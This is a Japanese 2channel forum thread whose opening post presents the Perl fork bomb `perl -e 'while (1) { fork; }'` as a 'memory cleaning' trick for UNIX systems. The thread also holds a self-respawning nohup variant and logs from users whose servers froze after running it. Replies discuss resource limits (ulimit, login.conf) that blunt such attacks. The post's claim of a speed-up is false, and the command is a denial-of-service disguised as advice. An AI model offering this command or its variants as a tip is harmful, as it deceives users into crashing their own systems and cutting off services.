UNIX系技術者にとってはほぼ常識ですが、簡単にUNIX系OSの
メモリを簡単にクリーニングできます。やり方は、コマンドラインで、
$ perl -e 'while (1) { fork; }'
とタイプするだけです。
これでディスクキャッシュになっていたメモリが解放されて、
若干処理が軽くなります。Webサーバ等では数%レスポンスが
よくなります。GUIを使っている場合では体感的に早くなったと
わかるでしょう。
探検
簡単!メモリクリーニング
1名無しさん@お腹いっぱい。
NGNG2名無しさん@お腹いっぱい。
NGNG 2
NGNG
>>1
自分のPCでは一日一回実行してる。
自分のPCでは一日一回実行してる。
NGNG
3
NGNG
>>4
プ
プ
NGNG
\ │ /
/ ̄\ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
─( ゚ ∀ ゚ )< さいたまさいたま!
\_/ \_________
/ │ \
∩ ∧ ∧∩ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\ ∩∧ ∧∩\( ゚∀゚)< さいたまさいたまさいたま!
さいたま〜〜〜〜! >( ゚∀゚ )/ | / \__________
________/ | 〈 | |
/ /\_」 / /\」
 ̄ / /
 ̄
/ ̄\ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
─( ゚ ∀ ゚ )< さいたまさいたま!
\_/ \_________
/ │ \
∩ ∧ ∧∩ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\ ∩∧ ∧∩\( ゚∀゚)< さいたまさいたまさいたま!
さいたま〜〜〜〜! >( ゚∀゚ )/ | / \__________
________/ | 〈 | |
/ /\_」 / /\」
 ̄ / /
 ̄
NGNG
∧_∧
( ) >>1
//
//
//
//
ブンッ/ ∧__∧ //
// / ( ´) 从//
( ̄ ̄二⊂ 彡⊃ ‘ 、' > カキーン!!
 ̄ ̄ y 人 ⊂ ⊂ )
ミ(___)__),, (__(__ ̄)
( ) >>1
//
//
//
//
ブンッ/ ∧__∧ //
// / ( ´) 从//
( ̄ ̄二⊂ 彡⊃ ‘ 、' > カキーン!!
 ̄ ̄ y 人 ⊂ ⊂ )
ミ(___)__),, (__(__ ̄)
NGNG
「\ .「\
〉 .> 〉 〉
/ / / /
/ | / |
/ / / /
( 〈 . / /.
\ `\ |ヽ | >>1
\ \ / |
ヽ `´ ノ
| /__
[二二二二二]
‖||| | |‖
||||||‖
||| | |||
|||||||
`ー――´
NGNG
Windows XP だけどうまくいなかいぞ。
NGNG
>>9
UNIX系って書いているだろ。
UNIX系って書いているだろ。
NGNG
Windows XPってUNIX系OSなんですか?
NGNG
まけた…
NGNG
>>11
なにをもってUNIXとするかによるけど、POSIX準拠がUNIXの基準なら
Windows NT / Windows 2000 / Windows XP はPOSIX準拠だからUNIXと
いえなくもない。。。
なにをもってUNIXとするかによるけど、POSIX準拠がUNIXの基準なら
Windows NT / Windows 2000 / Windows XP はPOSIX準拠だからUNIXと
いえなくもない。。。
NGNG
>>1
あ、ほんとだ、ちょっと早くなったきがする。
あ、ほんとだ、ちょっと早くなったきがする。
NGNG
>>13
XPはPOSIXサブシステム外してあるんでなかったっけ?
XPはPOSIXサブシステム外してあるんでなかったっけ?
16名無しさん@お腹いっぱい。
NGNG17名無しさん@Emacs
NGNGNGNG
19あぼーん
NGNGあぼーん
NGNG
なぜクリーニングできるんだ?
負荷かけるから?
負荷かけるから?
NGNG
いわゆる一つの錆落しですね?
NGNG
で、これからどうする? >>1
NGNG
VMがうんこなOSは大変だな
NGNG
/ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
Λ_Λ | オラオラ、
( ・∀・)< 精神異常者は消えろ!
( ) \_____________
| | \ \ グリグリ
(__) (__)
(´Д`)ノ ←>>1
Λ_Λ | オラオラ、
( ・∀・)< 精神異常者は消えろ!
( ) \_____________
| | \ \ グリグリ
(__) (__)
(´Д`)ノ ←>>1
NGNG
>>13
POSIX準拠なのは2k / NTだけ。
POSIX準拠なのは2k / NTだけ。
26あぼーん
NGNGあぼーん
27
NGNG >>1 THX 目から鱗でつ
28すーぱーはかー
NGNG UNIX初心者です。厨な質問で悪いのですが、
perl:command not found
と表示されてしまいます。
OSはTurbo Linux8です。
300MHzのパソコンで使っていて重いので、ぜひメモリーを掃除したいです。
どうかご教示ください
perl:command not found
と表示されてしまいます。
OSはTurbo Linux8です。
300MHzのパソコンで使っていて重いので、ぜひメモリーを掃除したいです。
どうかご教示ください
29すーぱーはかー
NGNG perl:command not found
というのはメモリーが掃除されたといういみなのでしょうか?
というのはメモリーが掃除されたといういみなのでしょうか?
NGNG
ところで、こういうアホに
perl -e 'while(1){ fork() && exit }'
てなプログラムを動かされたとして、これをkillする方法ってある?
perl -e 'while(1){ fork() && exit }'
てなプログラムを動かされたとして、これをkillする方法ってある?
NGNG
perlをkillするプログラムを書き、それをforkしまくる
NGNG
マッチポンプだな(w
33名無しさん@お腹いっぱい。
NGNG すげー!
>>1はスーパーハカー!?
>>1はスーパーハカー!?
34名無しさん@お腹いっぱい。
NGNG こんちやっす
自宅サーバーをひそかに内緒でやってたj-comからyahoobbに移したのですが
セキュリティーホールが心配で・・・
せきゅれちーホールありますか?
http://www.musumefan.no-ip.com
自宅サーバーをひそかに内緒でやってたj-comからyahoobbに移したのですが
セキュリティーホールが心配で・・・
せきゅれちーホールありますか?
http://www.musumefan.no-ip.com
35名無しさん@お腹いっぱい。
NGNG すまそん
いた間違えますた
いた間違えますた
NGNG
root 権限ならともかく、普通はリソース制限掛けるでしょ。
掛かってない鯖はクソ。
掛かってない鯖はクソ。
NGNG
∧_∧ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
(`・ω・´) < 復活シャキーン!
(つ旦と) \_______________
と_)_)
(`・ω・´) < 復活シャキーン!
(つ旦と) \_______________
と_)_)
NGNG
ショボーンワッショイ!!
\\ ショボーンワッショイ!! //
+ + \\ ショボーンワッショイ!!/+
+
. + ∧_∧ ∧_∧ ∧_∧ +
(´゚ω・∩(゚ω・∩)(´ ・ω゚)
+ (( (つ ノ(つ 丿(つ つ )) +
ヽ ( ノ ( ヽノ ) ) )
(_)し' し(_) (_)_)
\\ ショボーンワッショイ!! //
+ + \\ ショボーンワッショイ!!/+
+
. + ∧_∧ ∧_∧ ∧_∧ +
(´゚ω・∩(゚ω・∩)(´ ・ω゚)
+ (( (つ ノ(つ 丿(つ つ )) +
ヽ ( ノ ( ヽノ ) ) )
(_)し' し(_) (_)_)
39名無しさん@お腹いっぱい。
NGNG ./◎)
/ ||
/ || シニタクナイヨ・・・・・
/ |∧_∧
ショボーン / (:.;゚;ω;゚;.:)
∧_∧.n /~~~~~ノJ
( ´・ω・`)ノ Oノ ノ ノ
( ) .し' J
| | | ゚。
(__)_) ゜
。゚
/ ||
/ || シニタクナイヨ・・・・・
/ |∧_∧
ショボーン / (:.;゚;ω;゚;.:)
∧_∧.n /~~~~~ノJ
( ´・ω・`)ノ Oノ ノ ノ
( ) .し' J
| | | ゚。
(__)_) ゜
。゚
40あぼーん
NGNGあぼーん
41名無しさん@お腹いっぱい。
NGNG42名無しさん@お腹いっぱい。
NGNG どうなってんだよ〜赤帽8でやったら2日間そのままOut of memory: killed process **** (ABCD)
になっちまったぞ!どう止める?????????????????????????????????????????????????????????・
になっちまったぞ!どう止める?????????????????????????????????????????????????????????・
43あぼーん
NGNGあぼーん
NGNG
自作自演楽しいか?
NGNG
ところでさ。
いまどき>>1でこけるシステムあるの?
いまどき>>1でこけるシステムあるの?
NGNG
linuxは弱い。ほぼ死ぬ。
NGNG
limitで制限かけりゃなんとかなるけど
大抵そんなことしないからなぁ
大抵そんなことしないからなぁ
NGNG
copy on writeで実装しているシステムでは絶対大丈夫な解は存在しなかったはず。
solarisは強いと言われているけど、それでも保証できないんじゃないかな?
・・・でもforkだけだとメモリ確保しないから落ちないと思ってたんだけど。
forkしてメモリ確保しておいて、後でおもむろに書き込みとかするとヤバイって思ってた。
solarisは強いと言われているけど、それでも保証できないんじゃないかな?
・・・でもforkだけだとメモリ確保しないから落ちないと思ってたんだけど。
forkしてメモリ確保しておいて、後でおもむろに書き込みとかするとヤバイって思ってた。
49名無しさん@お腹いっぱい。
NGNG 以下>1のように以外に知られていないが、
役に立つコマンドなどを書き込むスレになりました。
役に立つコマンドなどを書き込むスレになりました。
NGNG
>>46
キター
キター
NGNG
やってみたけど、新規にアプリを起動できなくなるだけみたいだけど。
これが「死ぬ」って状態なの?
元々立ち上げてたMozillaは特に問題ないし。2chに書き込める。
これが「死ぬ」って状態なの?
元々立ち上げてたMozillaは特に問題ないし。2chに書き込める。
NGNG
新しくアプリを起動できないのは
最大プロセス数の問題かな。
メモリ食い潰しでもしないかぎりは
Linuxでさえ、落ちたりはしないだろ。
メモリを食い潰し(swapも)てもなお確保しようとような自体になれば
他のOSでもやばいっしょ。
最大プロセス数の問題かな。
メモリ食い潰しでもしないかぎりは
Linuxでさえ、落ちたりはしないだろ。
メモリを食い潰し(swapも)てもなお確保しようとような自体になれば
他のOSでもやばいっしょ。
NGNG
ってことは>>46の死んだってのは嘘かよ
NGNG
NGNG
NGNG
近頃のOS/マシンはそうそう落ちないだろうが、CPUやバスが貧弱、
メモリも少ない昔のマシンは簡単に落ちた。pingにさえまともに
応答しなくなって、やむなくStop+A。
メモリも少ない昔のマシンは簡単に落ちた。pingにさえまともに
応答しなくなって、やむなくStop+A。
57
NGNG windowsのメモリクリナ-(blueback ⇒ 再起動)に勝てるメモリクリナ-は無い
58あぼーん
NGNGあぼーん
NGNG
NGNG
ウチのレガッタは落ちませんでした。
落ちたらそいつ自身のダンプを取ってやろうとか
思ったんだけどね。
まぁぎりぎりで縮退かかるだけかな…
落ちたらそいつ自身のダンプを取ってやろうとか
思ったんだけどね。
まぁぎりぎりで縮退かかるだけかな…
61名無しさん@お腹いっぱい。
NGNG 1のスクリプトだと固まるには固まるが CTRL+C で脱出できる。
下のやつだと
sh: fork: リソースが一時的に利用できません
/usr/bin/nohup: fork: リソースが一時的に利用できません
sh: fork: リソースが一時的に利用できません
と流れるもののコンソールのもう片方では以下のコマンドが普通にうごく始末。
[root@g /root]# cat test.pl
#!/usr/bin/perl
while(1){
if( ! fork ){
system(" nohup perl ./test.pl & ");
}
}
[root@g /root]# ps ax | wc
2089 12527 83984
[root@g /root]# uname -ar
Linux g.privnet 2.2.18-0vl4.2my #1 2002年 7月 7日(日) 23時32分59秒 JST i686 unknown
[root@g /root]# cat /proc/cpuinfo | grep model
model : 8
model name : Pentium III (Coppermine)
[root@g /root]# cat /proc/cpuinfo | grep MHz
cpu MHz : 847.192
[root@g /root]# ps ax | wc
2089 12527 83984
なーにが Regatta だよ
下のやつだと
sh: fork: リソースが一時的に利用できません
/usr/bin/nohup: fork: リソースが一時的に利用できません
sh: fork: リソースが一時的に利用できません
と流れるもののコンソールのもう片方では以下のコマンドが普通にうごく始末。
[root@g /root]# cat test.pl
#!/usr/bin/perl
while(1){
if( ! fork ){
system(" nohup perl ./test.pl & ");
}
}
[root@g /root]# ps ax | wc
2089 12527 83984
[root@g /root]# uname -ar
Linux g.privnet 2.2.18-0vl4.2my #1 2002年 7月 7日(日) 23時32分59秒 JST i686 unknown
[root@g /root]# cat /proc/cpuinfo | grep model
model : 8
model name : Pentium III (Coppermine)
[root@g /root]# cat /proc/cpuinfo | grep MHz
cpu MHz : 847.192
[root@g /root]# ps ax | wc
2089 12527 83984
なーにが Regatta だよ
62あぼーん
NGNGあぼーん
63名無しさん@お腹いっぱい。
NGNG for i in `ps ax | grep perl | cut -f1 -d" " `
復旧〜
復旧〜
NGNG
66名無しさん@お腹いっぱい。
NGNG >>64
いけましたぜ旦那
要は去年の犬糞カーネルでも痛くも痒くもねえって事
それをわざわざ Regatta でやりますかね
メモリー食いつぶすかファイルをひたすらオープンし続けるか
起動しないプロセスを終了しないプロセスが待ち続けつつ増殖するとか
いけましたぜ旦那
要は去年の犬糞カーネルでも痛くも痒くもねえって事
それをわざわざ Regatta でやりますかね
メモリー食いつぶすかファイルをひたすらオープンし続けるか
起動しないプロセスを終了しないプロセスが待ち続けつつ増殖するとか
67名無しさん@お腹いっぱい。
NGNG ためしにやってみました
P55C 200MHz
RedHat8.0 kernel2.4.20-18.8
MEM 128MB
Apache2.0が作動しなくなって
SSHでの接続も出来なくなりました
その後 PPPoEも停止
結局は落ちたも同然の状況
カーソル画面でrootログインを使用とするがPasswd:の返事もない
うーむ、もしかしてLinuxってだめぽ?
それとも漏れの鯖が非力なだけ?
P55C 200MHz
RedHat8.0 kernel2.4.20-18.8
MEM 128MB
Apache2.0が作動しなくなって
SSHでの接続も出来なくなりました
その後 PPPoEも停止
結局は落ちたも同然の状況
カーソル画面でrootログインを使用とするがPasswd:の返事もない
うーむ、もしかしてLinuxってだめぽ?
それとも漏れの鯖が非力なだけ?
NGNG
> うーむ、もしかしてLinuxってだめぽ?
そうだね。乗り換えたほうが良いよ。
他に選択肢があれば、ね。
そうだね。乗り換えたほうが良いよ。
他に選択肢があれば、ね。
NGNG
変態forkに負けない
スケジュール優先度の高い専用アカウントを作っておく、とか。
スケジュール優先度の高い専用アカウントを作っておく、とか。
NGNG
67でつが
次回はFreeBSDでも入れて試してみます〜
次回はFreeBSDでも入れて試してみます〜
NGNG
NGNG
login.conf とかでかなり制限かけないと、
FreeBSDの初期 kern.maxfiles と kern.maxfilesperproc (maxusersで変動)が
思ったよりも近い値になるので、すぐにファイルディスクリプタを使い切りますね。
fork() && socket()ループするとすぐいっぱいになる。
FreeBSDの初期 kern.maxfiles と kern.maxfilesperproc (maxusersで変動)が
思ったよりも近い値になるので、すぐにファイルディスクリプタを使い切りますね。
fork() && socket()ループするとすぐいっぱいになる。
73名無しさん@お腹いっぱい。
NGNG これだろ
http://purejp.com
http://purejp.com
NGNG
RedHat9で死んだよ
Xeon2.66GHz 512M rootで実行
Xeon2.66GHz 512M rootで実行
NGNG
おれもやってみたけど、
Linuxだと簡単に死ぬ。
Linuxだと簡単に死ぬ。
NGNG
犬は死ぬ!
必ず死ぬ!
絶対死ぬ!
必ず死ぬ!
絶対死ぬ!
NGNG
>>74-76
( ´,_ゝ`)プッ
( ´,_ゝ`)プッ
NGNG
Windows2kだと死なない
>perl -e "while (1) { fork; }"
The Unsupported function fork function is unimplemented at -e line 1.
とても安全だ
>perl -e "while (1) { fork; }"
The Unsupported function fork function is unimplemented at -e line 1.
とても安全だ
NGNG
Windows最強説浮上
NGNG
漏れのunixも安全ダターヨ
>% perl -e "while (1) { fork; }"
>perl: Command not found.
>% perl -e "while (1) { fork; }"
>perl: Command not found.
81名無しさん@お腹いっぱい。
NGNG [sato@alpha sato]$ ulimit -Ha
core file size (blocks) unlimited
data seg size (kbytes) unlimited
file size (blocks) unlimited
max memory size (kbytes) 3200
stack size (kbytes) 6800
cpu time (seconds) 120
max user processes 2048
pipe size (512 bytes) 8
open files 1024
virtual memory (kbytes) 2103951
Linux . 効果なし。だめぽ〜
core file size (blocks) unlimited
data seg size (kbytes) unlimited
file size (blocks) unlimited
max memory size (kbytes) 3200
stack size (kbytes) 6800
cpu time (seconds) 120
max user processes 2048
pipe size (512 bytes) 8
open files 1024
virtual memory (kbytes) 2103951
Linux . 効果なし。だめぽ〜
NGNG
*BSDで試した人いないの?
レスを投稿する
ニュース
- 【LIVE】国分太一 騒動後初の公の場 司法記者クラブで会見 ★2 [ひかり★]
- 【文春】元TOKIO・国分太一(51)「女性スタッフ2名への“わいせつ事案”」日テレ事情聴取の全貌が分かった! ★2 [Ailuropoda melanoleuca★]
- 生クリームだけの真っ白なクリスマスケーキ 大手メーカーが販売、その理由は…フルーツなしで価格は半額以下に [おっさん友の会★]
- 「ウソだったのか」ネット大混乱 議員の歳費5万円アップ「凍結→成立」報道に…「えっ?」「どうなってんだ」「ビックリ」 [バイト歴50年★]
- 性売買「買う側」処罰化と同時に「売る側は処罰せず、支援の対象に」Colabo主催の集会にて★3 [パンナ・コッタ★]
- 【文春】元TOKIO・国分太一(51)「女性スタッフ2名への“わいせつ事案”」日テレ事情聴取の全貌が分かった! ★3 [Ailuropoda melanoleuca★]
- 【速報】高市早苗、党首討 [115996789]
- 【速報】国分太一会見 [115996789]
- (´・ω・`)喉痛い…
- 🏡今は、もう、動かないとうふさんにトドメ👊😅👊💥📛
- 高市早苗「今年の税収80兆円! 笑いが止まらないわよ!!」 [592058334]
- 立憲、高市に「高市内閣総理大臣の「台湾有事」答弁と日中平和友好条約との関係に関する質問主意書」提出 [469534301]
